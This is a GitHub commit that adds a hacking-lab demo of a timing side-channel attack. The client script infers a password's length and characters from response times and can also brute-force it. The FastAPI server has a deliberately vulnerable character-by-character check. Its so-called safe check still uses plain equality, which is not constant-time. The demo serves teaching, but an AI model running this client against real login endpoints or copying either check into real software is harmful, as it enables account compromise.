Skip to content

Commit

Permalink
add timing sca demo files
Browse files Browse the repository at this point in the history
  • Loading branch information
ondrej-lukas committed Oct 30, 2024
1 parent 801cc04 commit 4c14941
Show file tree
Hide file tree
Showing 3 changed files with 176 additions and 0 deletions.
116 changes: 116 additions & 0 deletions hackerlab/data/timing-demo/client.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
GNU nano 7.2 client.py
import requests
from timeit import timeit
import argparse
from string import ascii_letters, digits
from itertools import combinations_with_replacement
import numpy as np
import time

def send_request(server_url: str, password: str) -> bool:
"""
Sends authentication request to the given server.
"""
params = {"password": password}
with requests.get(server_url, params, stream=False, timeout=5) as response:
json_response = response.json()
response.close()
if json_response["message"] == "Success":
return True
else:
return False

def find_length(server_url: str, min_len:int=3, max_len:int=4, attempts:int=1000) -> int:
"""
Method to determine the lenght of the password based on the timing distribution of responses.
"""
times = {
length:timeit(lambda: send_request(server_url, " " * length), number=attempts)
for length in range(min_len, max_len+1)
}
print("password length distribution:", times)
return max(times, key=times.get)

def contains_outlier(data, m=50):
"""
Detect outliers in an array of numbers using the median and median absolute distance.
"""
d = np.abs(data - np.median(data))
mdev = np.median(d)
s = d/mdev if mdev else np.zeros(len(d))
return np.any(s>m)

def find_char_at_idx(idx, pass_list, vocab, server_url, num_attempts=100, mode="full"):
"""
Method for discovery of correct character of the password on a given position.
"""
timings = {}
for character in vocab:
pass_list[idx] = character
timings[character] = timeit(lambda: send_request(server_url, password="".join(pass_list)), number=num_attempts)
if mode == "fast": # use statistical method to speed up the search
if contains_outlier(list(timings.values())):
break
print(timings)
print(f"Idx:{idx}, char found:{max(timings, key=timings.get)}")
return max(timings, key=timings.get)

def find_password(server_url: str, vocab, pass_len: int, num_attempts, mode="full") -> str:
password = [" " for _ in range(pass_len)]

# use timings to determine the correct character in each position
for i in range(pass_len-1):
password[i] = find_char_at_idx(i, password, vocab, server_url, num_attempts=num_attempts, mode=mode)

# bruteforce the last character of the password
for c in vocab:
password[-1] = c
if send_request(server_url, "".join(password)):
break
return "".join(password)

def bruteforce_pass(server: str, vocab, length:str) -> str:
passlist = combinations_with_replacement(vocab, length)
for password in passlist:
if send_request(server, "".join(password)):
return password
return False

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--server", type=str, default="http://127.0.0.1")
parser.add_argument("--port", type=int, default=8000)
parser.add_argument("--min_len", type=int, default=4)
parser.add_argument("--max_len", type=int, default=8)
parser.add_argument("--mode", type=str, default="full")
parser.add_argument("--vocab", type=str, default="digits")
args = parser.parse_args()

if args.vocab == "digits":
vocab = digits
elif args.vocab == "letters":
vocab = ascii_letters
else:
vocab = ascii_letters + digits

URL = f"{args.server}:{args.port}/login/vuln/"

# find password length
pass_len = find_length(URL, args.min_len,args.max_len, attempts=500)
#pass_len = 4
print("The length of the password is:", pass_len)
if args.mode == "fast":
print("Starting timing attack - fast")
password = find_password(URL, vocab,pass_len, num_attempts=50, mode="fast")
print("The password is: ", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")
elif args.mode == "bruteforce":
print("Starting bruteforce attack")
password = bruteforce_pass(URL, vocab, pass_len)
print("Bruteforce pass:", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")
else:
print("Starting timing attack - full")
password = find_password(URL, vocab,pass_len, num_attempts=50, mode="full")
print("The password is: ", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")
2 changes: 2 additions & 0 deletions hackerlab/data/timing-demo/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
fastapi
uvicorn[standard]
58 changes: 58 additions & 0 deletions hackerlab/data/timing-demo/server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
GNU nano 7.2 server.py from fastapi import FastAPI
from string import ascii_letters, digits
from random import choices, randint
import time

#characters = ascii_letters + digits
characters = digits

CORRECT_PASSWORD = "".join(choices(characters, k=randint(5, 6)))
#CORRECT_PASSWORD = "30471"
LENGTH = len(CORRECT_PASSWORD)
DELAY = 0.0025
#DELAY = 0
with open('server_access_info.txt', 'w') as sourceFile:
print(f"length:{LENGTH}, password:{CORRECT_PASSWORD}", file=sourceFile)

assert all(c in characters for c in CORRECT_PASSWORD)

app = FastAPI()


def check_password_vulnerable(password: str) -> bool:
"""
Checks if the password is correct.
This is intentionally made to be vulnerable to show how a side channel timing attack could be made
"""
if len(password) != LENGTH:
return False
time.sleep(DELAY) # ADD a bit of delay for the demo to be more consistant
for i in range(len(CORRECT_PASSWORD)):
if password[i] != CORRECT_PASSWORD[i]:
return False
time.sleep(DELAY) # ADD a bit of delay for the demo to be more consistant
return True


def check_password_safe(password: str) -> bool:
return password == CORRECT_PASSWORD


@app.get("/")
async def root():
return {"message": "Hello World"}


@app.get("/login/vuln/")
async def login_vuln(password: str):
if check_password_vulnerable(password):
return {"message": "Success"}
return {"message": "Incorrect Password"}


@app.get("/login/safe/")
async def login_safe(password: str):
if check_password_safe(password):
return {"message": "Success"}
return {"message": "Incorrect Password"}

0 comments on commit 4c14941

Please sign in to comment.